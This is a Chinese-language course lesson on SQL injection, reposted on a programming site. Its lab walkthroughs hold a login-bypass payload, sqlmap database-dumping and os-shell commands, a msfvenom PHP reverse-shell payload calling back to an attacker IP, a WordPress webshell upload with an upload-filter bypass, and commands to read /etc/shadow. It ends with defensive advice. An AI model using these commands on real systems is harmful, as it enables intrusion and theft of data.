<网络安全>《42 网络攻防专业课<第八课 - SQL注入漏洞攻击与防范>》

本文主要是介绍<网络安全>《42 网络攻防专业课<第八课 - SQL注入漏洞攻击与防范>》,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

1 SQL注入漏洞利用及防范

1 SQL注入的地位

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

2 SQL注入的危害及本质

这些危害包括但不局限于:

  1. 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
  2. 网页篡改:通过操作数据库对特定网页进行篡改。
  3. 网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
  4. 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
  5. 服务器被远程控制:被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
  6. 破坏硬盘数据,瘫痪全系统。

3 本质

把用户输入的数据当作代码执行。

包含两个关键条件:
一:用户能够控制输入;二:原本程序要执行的代码,拼接了用户输入的数据。

4 SQL注入原理

在这里插入图片描述

5 SQL注入漏洞的方法

在这里插入图片描述
这是一个登陆页面

  1. Ø 点击“submit”之后,web应用会执行:
    Ø 接收发送的POST请求
    Ø 获取用户名和密码:(bart, simpson)
    Ø 构建SQL语句:select * from users where username = ‘bart’ and password = ‘simpson’;
    Ø 发送给数据库服务器来验证
  2. Ø 这个时候,我们可以对username进行变化
    Ø 输入的用户名不是简单的bart,而是 bart’ and 1=1; –
    Ø 这样整个语句变成如下:
    Ø select * from users where username = ‘bart’ and 1=1; – ’ and password = ‘simpson’;
    Ø 这个时候,–后面的都会变成注释,不用密码就能进行登陆。

6 SQL注入经常出没的地方

在这里插入图片描述
简言之:1. 用户一切可以输入(可控)的地方 。2.数据库一切可能导入、导出的东西。

7 SQL注入的分类

在这里插入图片描述
在这里插入图片描述

8 演练:SQL注入GET参数

8.1 信息探测

扫描主机服务信息以及服务版本

nmap -sV 靶场IP地址

快速扫描主机全部信息

nmap -T4 –A -v 靶场IP地址

探测敏感信息

nikto -host http://靶场IP地址:端口
dirb http://

8.2 深入挖掘

分析nmap 、nikto扫描结果,并对结果进行分析,挖掘可以利用的信息;
使用浏览器打开 http://ip:port/敏感页面,查看敏感信息,找到可利用的位置;
在这里插入图片描述

8.3 漏洞扫描

web漏洞扫描器 owasp-zap
OWASP ZAP攻击代理服务器是世界上最受欢迎的免费安全工具之一。ZAP可以帮助您在开发和测试应用程序过程中,自动发现 Web应用程序中的安全漏洞。另外,它也是一款提供给具备丰富经验的渗透测试人员进行人工安全测试的优秀工具。
在这里插入图片描述

8.4 使用sqlmap利用SQL查看注入

在这里插入图片描述

8.5 漏洞利用

针对web进行漏洞扫描
对扫描的结果进行分析。注意:如果具有SQL注入漏洞,可以直接利用。毕竟SQL注入是高危漏洞,可以直接获取服务器权限。
使用sqlmap利用SQL注入漏洞

sqlmap -u url --dbs    查看数据库名
sqlmap -u url –D “数据库名” --tables    查看对应数据库中的数据表
sqlmap -u url –D “数据库名” –T “表名” --columns  查看对应字段
sqlmap -u url –D “数据库名” –T “表名”-C “列名” --dump   查看对应字段的值
也可以直接尝试 sqlmap –u url –os-shell  直接获取shell

在这里插入图片描述

8.6 上传shell反弹权限

攻击机启动监听

msf > use exploit/multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 攻击机IP地址
msf exploit(handler) > set lport 4444
msf exploit(handler) > run

生成反弹shell

msfvenom -p php/meterpreter/reverse_tcp lhost=攻击机IP地址 lport=4444 -f raw > /root/Desktop/shell.php

上传shell执行shell

绕过过滤机制   利用 .php 修改为 .PHP

9 演练:POST注入

9.1 信息探测

扫描主机服务信息以及服务版本

nmap -sV 靶场IP地址

快速扫描主机全部信息

nmap -T4 –A -v 靶场IP地址

探测敏感信息

nikto -host http://靶场IP地址:端口
dirb  http://靶场IP地址:端口

9.2 漏洞扫描

漏洞扫描器 Owasp-zap
功能强大,专注于web安全的漏洞扫描器。
在这里插入图片描述

9.3 漏洞利用

针对web进行漏洞扫描
对扫描的结果进行分析。注意:如果具有SQL注入漏洞,可以直接利用。毕竟SQL注入是高危漏洞,可以直接获取服务器权限。但是扫描结果也不一定正确。
使用sqlmap利用SQL注入漏洞

sqlmap –r  request.raw –level 5 –risk 3  –dbs –dbms  mysql --batch
sqlmap –r  request.raw –level 5 –risk 3  –D "数据库名" –tables    查看对应数据库中的数据表 --batch
sqlmap –r  request.raw –level 5 –risk 3  –D "数据库名" –T "表名" –columns  查看对应字段 --batch
sqlmap –r  request.raw –level 5 –risk 3  –D "数据库名" –T "表名"-C "列名" –dump --batch

9.4 上传webshell获取控制权

wordpress 后台寻找上传点
主题 的404.php 可以上传webshell
webshell 获取 /usr/share/webshells/php/
在这里插入图片描述

执行shell,获取反弹shell。
http://靶场IP地址:端口号/目录/wp-content/themes/主题名/404.php
启动监听 – nc –nlvp port
启动终端 – python –c “import pty;pty.spawn(‘/bin/bash’)”

9.5 root权限

使用 cat /etc/shadow cat /etc/passwd 查看敏感文件
使用su - 提升 root权限

9.6 SQL注入的防范

防止SQL注入的根本措施是应该在程序中对用户的输入进行检测。总的来说有以下几点:
1.永远不要信任用户的输入,要对用户的输入进行校验,可以通过正则表达式,或限制长度,对单引号和双“-”进行转换等。
2.永远不要使用动态拼装SQL,可以使用参数化的SQL或者直接使用存储过程进行数据查询存取。
3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
4.不要把机密信息明文存放,请加密或者Hash掉密码和敏感的信息。
5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装,把异常信息存放在独立的表中。

这篇关于<网络安全>《42 网络攻防专业课<第八课 - SQL注入漏洞攻击与防范>》的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/731283

相关文章

MySQL中时区参数time_zone解读

《MySQL中时区参数time_zone解读》MySQL时区参数time_zone用于控制系统函数和字段的DEFAULTCURRENT_TIMESTAMP属性,修改时区可能会影响timestamp类型... 目录前言1.时区参数影响2.如何设置3.字段类型选择总结前言mysql 时区参数 time_zon

Python MySQL如何通过Binlog获取变更记录恢复数据

《PythonMySQL如何通过Binlog获取变更记录恢复数据》本文介绍了如何使用Python和pymysqlreplication库通过MySQL的二进制日志(Binlog)获取数据库的变更记录... 目录python mysql通过Binlog获取变更记录恢复数据1.安装pymysqlreplicat

使用SQL语言查询多个Excel表格的操作方法

《使用SQL语言查询多个Excel表格的操作方法》本文介绍了如何使用SQL语言查询多个Excel表格,通过将所有Excel表格放入一个.xlsx文件中,并使用pandas和pandasql库进行读取和... 目录如何用SQL语言查询多个Excel表格如何使用sql查询excel内容1. 简介2. 实现思路3

Mysql DATETIME 毫秒坑的解决

《MysqlDATETIME毫秒坑的解决》本文主要介绍了MysqlDATETIME毫秒坑的解决,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着... 今天写代码突发一个诡异的 bug,代码逻辑大概如下。1. 新增退款单记录boolean save = s

mysql-8.0.30压缩包版安装和配置MySQL环境过程

《mysql-8.0.30压缩包版安装和配置MySQL环境过程》该文章介绍了如何在Windows系统中下载、安装和配置MySQL数据库,包括下载地址、解压文件、创建和配置my.ini文件、设置环境变量... 目录压缩包安装配置下载配置环境变量下载和初始化总结压缩包安装配置下载下载地址:https://d

MySQL中的锁和MVCC机制解读

《MySQL中的锁和MVCC机制解读》MySQL事务、锁和MVCC机制是确保数据库操作原子性、一致性和隔离性的关键,事务必须遵循ACID原则,锁的类型包括表级锁、行级锁和意向锁,MVCC通过非锁定读和... 目录mysql的锁和MVCC机制事务的概念与ACID特性锁的类型及其工作机制锁的粒度与性能影响多版本

MYSQL行列转置方式

《MYSQL行列转置方式》本文介绍了如何使用MySQL和Navicat进行列转行操作,首先,创建了一个名为`grade`的表,并插入多条数据,然后,通过修改查询SQL语句,使用`CASE`和`IF`函... 目录mysql行列转置开始列转行之前的准备下面开始步入正题总结MYSQL行列转置环境准备:mysq

MySQL不使用子查询的原因及优化案例

《MySQL不使用子查询的原因及优化案例》对于mysql,不推荐使用子查询,效率太差,执行子查询时,MYSQL需要创建临时表,查询完毕后再删除这些临时表,所以,子查询的速度会受到一定的影响,本文给大家... 目录不推荐使用子查询和JOIN的原因解决方案优化案例案例1:查询所有有库存的商品信息案例2:使用EX

Linux(Centos7)安装Mysql/Redis/MinIO方式

《Linux(Centos7)安装Mysql/Redis/MinIO方式》文章总结:介绍了如何安装MySQL和Redis,以及如何配置它们为开机自启,还详细讲解了如何安装MinIO,包括配置Syste... 目录安装mysql安装Redis安装MinIO总结安装Mysql安装Redis搜索Red

SSID究竟是什么? WiFi网络名称及工作方式解析

《SSID究竟是什么?WiFi网络名称及工作方式解析》SID可以看作是无线网络的名称,类似于有线网络中的网络名称或者路由器的名称,在无线网络中,设备通过SSID来识别和连接到特定的无线网络... 当提到 Wi-Fi 网络时,就避不开「SSID」这个术语。简单来说,SSID 就是 Wi-Fi 网络的名称。比如